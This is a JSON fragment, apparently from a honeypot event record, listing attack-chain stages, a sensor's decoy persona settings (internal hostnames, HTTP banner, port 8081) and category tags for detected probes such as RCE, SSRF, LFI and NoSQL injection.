"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_cmd_injection",
"http_idor_probe",
"http_jwt_body",
"http_no_ua",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}